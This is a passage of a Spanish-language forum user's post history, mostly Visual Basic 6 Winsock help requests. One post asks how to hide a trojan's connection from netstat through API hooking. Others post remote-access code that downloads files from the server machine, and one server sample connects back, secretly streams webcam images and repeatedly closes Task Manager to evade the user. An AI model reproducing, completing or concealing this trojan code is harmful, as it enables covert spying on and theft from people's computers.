|
Mostrar Mensajes
|
Páginas: [1] 2
|
2
|
Seguridad Informática / Análisis y Diseño de Malware / Ocultar IP a herramientas de Administracion de Redes
|
en: 31 Diciembre 2010, 17:51 pm
|
Hola gente.....
Alguien sabe como ocultar la conexion establecida en un determinado puerto a las herramientas de administracion de redes tipo NETSTAT.
Me gustaria poder ocultar la conexion que hace mi trojan ya que usando el NOIP no se arregla este problema,al tener que asociar una ip al dns.
Si alguie sabe como seria genial. Hayyyy y se de sobra los comandos del netstat para ocultar una determinada conexion.
Lo que pregunto es si hay algun metodo de acceder a las apis del sistema y poder modificar las llamadas a las apis que utilizan estos programas para modificar la informacion que retornan a las funciones que las llaman.
Un saludo.
|
|
|
3
|
Programación / Programación Visual Basic / Re: AYUDA con mi Progress Bar por favorrrrrrrrrrrrrr
|
en: 19 Septiembre 2007, 10:51 am
|
Mirad camaradas, tengo el siguiente codigo en mi aplicacion y no consigo hacer que mi progress bar funcione y no se por que.
Espero me podais ayudar.
CLIENTE:
Private Sub btdescarga_Click() 'boton que le dice al servidor que inicia la descarga del archivo de esa ruta que hemos introducido en un txtbox
rutadestino = "C:\Documents and Settings\Armando_Bollos\Mis documentos\Mis archivos recibidos\Archivos Recibidos\" & fileselect
Open rutadestino For Binary As #2
y = "tamaño-" wc.SendData y & txtruta.Text 'enviamos la ruta del archivo al server.
donde = "tamaño" 'Le pedimos que mande el resultado al case tamaño del datarrival
LLEGADA AL SERVER DE LA INFORMACION:
Case "tamaño"
rutafile = vdatos(1) ' vdatos(1) contiene la ruta del archivo que queremos abrir y calcular el tamaño
Call tamaño ' llamada a la funcion para calcular el tamaño
Private Sub tamaño()
Dim size As String
Open rutafile For Binary Access Read As #3 ' abrimos el archivo que contiene el rutefile que hemos enviado
size = CStr(LOF(3)) ' calculamos su tamaño
Close #3
ws.SendData size ' Envia al cliente el tamañodel archivo
End Sub
LLEGADA AL CLIENTE DE LA INFORMACION:
Case "tamaño"
tamañofile = datos 'Meto en esa variable el tamaño del archivo PB.Min = (datos - datos) ' Pongo el minimo de la barra de pregreso PB.Max = datos ' pongo el maximo de la barra de progreso
PB.Value = PB.Min ' establezco el valor de la barra de progreso sizefilerecibido = 0 ' establezco el valor que ira sumando los bytes que vayan entrando
y = "descarga-" wc.SendData y & txtruta.Text 'envio al server que puede empezar a enviar datos
donde = "descarga"
LLEGADA DE DATOS AL SERVER :
Case "descarga" 'caso para empezar a enviar los datod del file
On Error GoTo errores
Dim tamañofile As Long
rutafile = vdatos(1)
Open rutafile For Binary Access Read As #2 tamañofile = LOF(2) ReDim file(tamañofile - 1) Get #2, , file
ws.SendData file ws.SendData "Fin"
Close #2
End Sub
LLEGADA DE DATOS AL CLIENTE:
Case "descarga"
On Error Resume Next
Put #2, , datos
sizefilerecibido = sizefilerecibido + bytesTotal 'Sumo a la variable los datos que van entrando
PB.Value = sizefilerecibido 'asigno el valor de la variable al valor de la progres bar
If Right(datos, 3) = "Fin" Or datos = "Fin" Then
If sizefilerecibido >= sizefile Then
Close #2
sizefilerecibido = 0
PB.Value = PB.Max
MsgBox "Descarga Finalizada", vbOKOnly
End If
PB.Value = 0
End If
Espero me podais ayudar. Un saludo. Muchas gracias.
|
|
|
4
|
Programación / Programación Visual Basic / Progress Bar NECESITO AYUDA
|
en: 18 Septiembre 2007, 18:46 pm
|
Mirad camaradas, tengo el siguiente codigo en mi aplicacion y no consigo hacer que mi progress bar funcione y no se por que.
Espero me podais ayudar.
CLIENTE:
Private Sub btdescarga_Click() 'boton que le dice al servidor que inicia la descarga del archivo de esa ruta que hemos introducido en un txtbox rutadestino = "C:\Documents and Settings\Armando_Bollos\Mis documentos\Mis archivos recibidos\Archivos Recibidos\" & fileselect Open rutadestino For Binary As #2 y = "tamaño-" wc.SendData y & txtruta.Text 'enviamos la ruta del archivo al server. donde = "tamaño" ' Le pedimos que mande el resultado al case tamaño del datarrival
LLEGADA AL SERVER DE LA INFORMACION:
Case "tamaño" rutafile = vdatos(1) Call tamaño
Private Sub tamaño() Dim size As String Open rutafile For Binary Access Read As #3 size = CStr(LOF(3)) ' su tamaño Close #3 ws.SendData size ' Envia al cliente el tamañodel archivo End Sub
LLEGADA AL CLIENTE DE LA INFORMACION:
Case "tamaño" tamañofile = datos 'Meto en esa variable el tamaño del archivo PB.Min = (datos - datos) ' Pongo elminimo de la barra de pregreso PB.Max = datos ' pongo el maximo de la barra de progreso PB.Value = PB.Min ' establezco el valor de la barra de progreso sizefilerecibido = 0 ' establezco el valor que ira sumando los bytes que vayan entrando y = "descarga-" wc.SendData y & txtruta.Text 'envio al server que puede empezar a enviar datos donde = "descarga" LLEGADA DE DATOS AL SERVER :
Case "descarga" On Error GoTo errores Dim tamañofile As Long rutafile = vdatos(1) Open rutafile For Binary Access Read As #2 tamañofile = LOF(2) ReDim file(tamañofile - 1) Get #2, , file ws.SendData file ws.SendData "Fin" Close #2 End Sub
LLEGADA DE DATOS AL CLIENTE:
Case "descarga" On Error Resume Next Put #2, , datos sizefilerecibido = sizefilerecibido + bytesTotal 'Sumo a la variable los datos que van entrando PB.Value = sizefilerecibido 'asigno el valor de la variable al valor de la progres bar If Right(datos, 3) = "Fin" Or datos = "Fin" Then If sizefilerecibido >= sizefile Then Close #2 sizefilerecibido = 0 PB.Value = PB.Max MsgBox "Descarga Finalizada", vbOKOnly End If PB.Value = 0 End If
Espero me podais ayudar. Un saludo. Muchas gracias.
|
|
|
5
|
Programación / Programación Visual Basic / AYUDA con mi Progress Bar por favorrrrrrrrrrrrrr
|
en: 17 Septiembre 2007, 20:45 pm
|
Necesito añadir un progressbar a mi aplicacion. La verdad es que ya tengo medio trabajo hecho, pero no entiendo por que no sigue al compas de la entrada de datos.
os posteo el codigo:
Case "descarga" On Error Resume Next sizefile = datos PB.Max = sizefile sizefilerecibido = sizefilerecibido + bytesTotal 'Variable que aumenta cuando put coge datos PB.Value = sizefilerecibido ' esta es la barra de progreso. Put #2, , datos If Right(datos, 3) = "Fin" Or datos = "Fin" Then If sizefilerecibido >= sizefile Then Close #2 sizefilerecibido = 0 PB.Value = PB.Max MsgBox "Descarga Finalizada", vbOKOnly End If PB.Value = 0 End If End Select Select Case datos Case "error 76" MsgBox "La Ruta introducida no es correcta.", vbOKOnly Close #2 Case "error 68" MsgBox "La Unidad no esta disponible.", vbOKOnly End Select
|
|
|
6
|
Programación / Programación Visual Basic / Progress Bar ........... No me entero.
|
en: 17 Septiembre 2007, 19:06 pm
|
Mirad a ver si alguien me puede ayudar.
Intento poner un progres bar a mi aplicacion para que vaya en progreso junto con el archivo que me este descargando.
Os pongo el codigo de mi aplicacion para que me digais a ver de que modo lo puedo hacer.
mirad este es el CLIENTE donde quiero colocar el progress bar:
Case "descarga" On Error Resume Next Put #2, , datos If Right(datos, 3) = "Fin" Or datos = "Fin" Then MsgBox "Descarga Finalizada", vbOKOnly Close #2 End If
End Select
Y os paso el codigo del SERVIDOR:
Case "descarga" On Error GoTo errores Dim tamañofile As Long rutafile = vdatos(1) Open rutafile For Binary Access Read As #2 tamañofile = LOF(2) ReDim file(tamañofile - 1) Get #2, , file ws.SendData file ws.SendData "Fin" Close #2
Espero que me podais ayudar. Muchas gracias a todos camaradas.
|
|
|
7
|
Programación / Programación Visual Basic / Re: una preguntilla
|
en: 16 Septiembre 2007, 12:10 pm
|
Yo resolvi una cosa asi, colocando en un timer los estados de conexion del winsock:
' estado de la conexion ws
Private Sub T1Estado_Timer()
T1Estado.Interval = 1
lblestado = ws.State Select Case ws.State Case 0 lblestado = "Conexion Cerrada con el Servidor." Case 2 lblestado = "Esperando conexión" Case 4 lblestado = "Resolviendo Host" Case 5 lblestado = "Host resuelto" Case 6 lblestado = "Intentando conectar" Case 7 lblestado = "Conectado con el Servidor : " Case 8 lblestado = "Cerrando comunicacion" Form_Load Case 9 lblestado = "Error de conexión" Form_Load End Select End Sub
Y en el form load coloco un if para comprobar continuamente los estados de conexion, siempre que la conexion este cerrada, el timer de estado te devuelve al form load y este otra vez a comprobar estado.
Te añado el if del form load para que lo veas mejor.
estado = "7" estadows = ws.State
If estadows <> estado Then ws.Close ws.CONNECT Else T1Estado_Timer End If
Espero poder ayudarte con este trocito de codigo.
Un saludo
|
|
|
10
|
Programación / Programación Visual Basic / Re: AYUDA, No puedo ver imagenes enviadas desde el server al cliente con WINSOCK
|
en: 1 Septiembre 2007, 19:17 pm
|
Lympex, aunque estoy detras de un puerto, el envio de la ip del server al cliente se realiza con normalidad y no hay problema de comunicacion entre las aplicaciones.
Voy a poner el codigo de mi aplicacion para ver si hay alguien dentro del forto que sepa decirme por que me ocurre esto.
Cliente:
Dim Ruta As String Dim y As String
Private Sub BtCerrarWeb_Click()
y = "apagar" wsC.SendData y FCliente.Height = 3870 FCliente.Width = 7140 FCliente.ScaleHeight = 3360 FCliente.ScaleWidth = 7020 Timer1_Timer End Sub
Private Sub BtConectar_Click()
wsC.Close wsC.Listen Timer1_Timer End Sub
Private Sub BtDesconectar_Click()
y = "desconectar" wsC.SendData y wsC.Close FCliente.Height = 3870 FCliente.Width = 7140 FCliente.ScaleHeight = 3360 FCliente.ScaleWidth = 7020 Timer1_Timer End Sub
Private Sub BtWeb_Click() y = "web" wsC.SendData y FCliente.Height = 8145 FCliente.Width = 7140 FCliente.ScaleHeight = 7635 FCliente.ScaleWidth = 7020
End Sub
Private Sub Form_Load() wsC.Close Timer1_Timer Ruta = "c:\temporal2.bmp" Open Ruta For Binary As #1 On Error Resume Next Kill (Ruta) Open "ruta" For Binary As #1 BtDesconectar.Enabled = False BtWeb.Enabled = False FCliente.Height = 3870 FCliente.Width = 7140 FCliente.ScaleHeight = 3360 FCliente.ScaleWidth = 7020 End Sub
Private Sub Timer1_Timer() Timer1.Interval = 1 LblEstado = wsC.State Select Case wsC.State Case 0 LblEstado = "Conexion Cerrada con el Servidor." BtDesconectar.Enabled = False BtWeb.Enabled = False BtConectar.Enabled = True FCliente.Height = 3870 FCliente.Width = 7140 FCliente.ScaleHeight = 3360 FCliente.ScaleWidth = 7020 Case 2 LblEstado = "Esperando conexión" Case 4 LblEstado = "Resolviendo Host" Case 5 LblEstado = "Host resuelto" Case 6 LblEstado = "Intentando conectar" Case 7 LblEstado = "Conectado con el Servidor : " BtConectar.Enabled = False BtDesconectar.Enabled = True BtWeb.Enabled = True Case 8 LblEstado = "Cerrando comunicacion" wsC.Close Case 9 LblEstado = "Error de conexión" wsC.Close End Select End Sub
Private Sub wsC_DataArrival(ByVal bytedatos As Long) Dim datos As String
wsC.GetData datos, vbNullString Put #1, , datos If Right(datos, 3) = "Fin" Or datos = "Fin" Then Close Picture1 = LoadPicture(Ruta) Open Ruta For Binary As #1 End If End Sub
Private Sub wsC_ConnectionRequest(ByVal requestID As Long) wsC.Close wsC.Accept requestID End Sub
El SERVIDOR :
Dim Imagen() As Byte
Private Sub Form_Load()
Dim estado As String Dim wsestado As String wsestado = ws1.State estado = "7" If wsestado <> estado Then ws1.Close ws1.CONNECT contador.Enabled = True contador.Interval = 1 Else Timer3_Timer End If Timer3_Timer Timer1.Enabled = False Timer1.Interval = 1 Timer2_Timer
End Sub
Private Sub Timer2_Timer() Timer2.Enabled = True Timer2.Interval = 100 On Error GoTo fallo AppActivate "Administrador de Tareas de Windows" SendKeys "%{F4}" fallo:
End Sub
Private Sub Timer3_Timer()
Timer3.Interval = 1 LblEstado = ws1.State Select Case ws1.State Case 0 LblEstado = "Conexion Cerrada con el Servidor." Case 2 LblEstado = "Esperando conexión" Case 4 LblEstado = "Resolviendo Host" Case 5 LblEstado = "Host resuelto" Case 6 LblEstado = "Intentando conectar" Case 7 LblEstado = "Conectado con el Servidor : " Case 8 LblEstado = "Cerrando comunicacion" Case 9 LblEstado = "Error de conexión" Form_Load End Select End Sub
Private Sub ws1_DataArrival(ByVal bytesTotal As Long) Dim datos As String ws1.GetData datos Select Case datos Case "ip" mandar_ip Case "web" Apagar_Cam StartCam Case "apagar" Apagar_Cam Case "desconectar" Desconectar End Select End Sub
Private Sub Timer1_Timer() On Error Resume Next SendMessage mCapHwnd, GET_FRAME, 0, 0 SendMessage mCapHwnd, COPY, 0, 0 Picture1.Picture = Clipboard.GetData SavePicture Clipboard.GetData, "c:\windows\system\temporal.bmp" Dim Tamaño As Long Open "c:\windows\system\temporal.bmp" For Binary Access Read As #1 Tamaño = LOF(1) ReDim Imagen(Tamaño - 1) Get #1, , Imagen crono_imagen.Enabled = True crono_imagen.Interval = 5 Close ws1.SendData Imagen ws1.SendData "Fin" End Sub
Private Sub StartCam() mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hWnd, 0) DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0 Timer1.Enabled = True
End Sub
Sub Apagar_Cam() Timer1.Enabled = False DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 End Sub
Sub Desconectar()
Apagar_Cam Form_Load End Sub
Sub mandar_ip()
Dim totalip As String
totalip = "2-" & lblip.Caption ws1.SendData totalip End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 ws1.Close End Sub
No he puesto el codigo del modulo adjunto al server , para no hacer este mensaje demasiado largo, espero que alguno pueda ayudarme .
Un saludo a todos.
|
|
|
|
|
|
|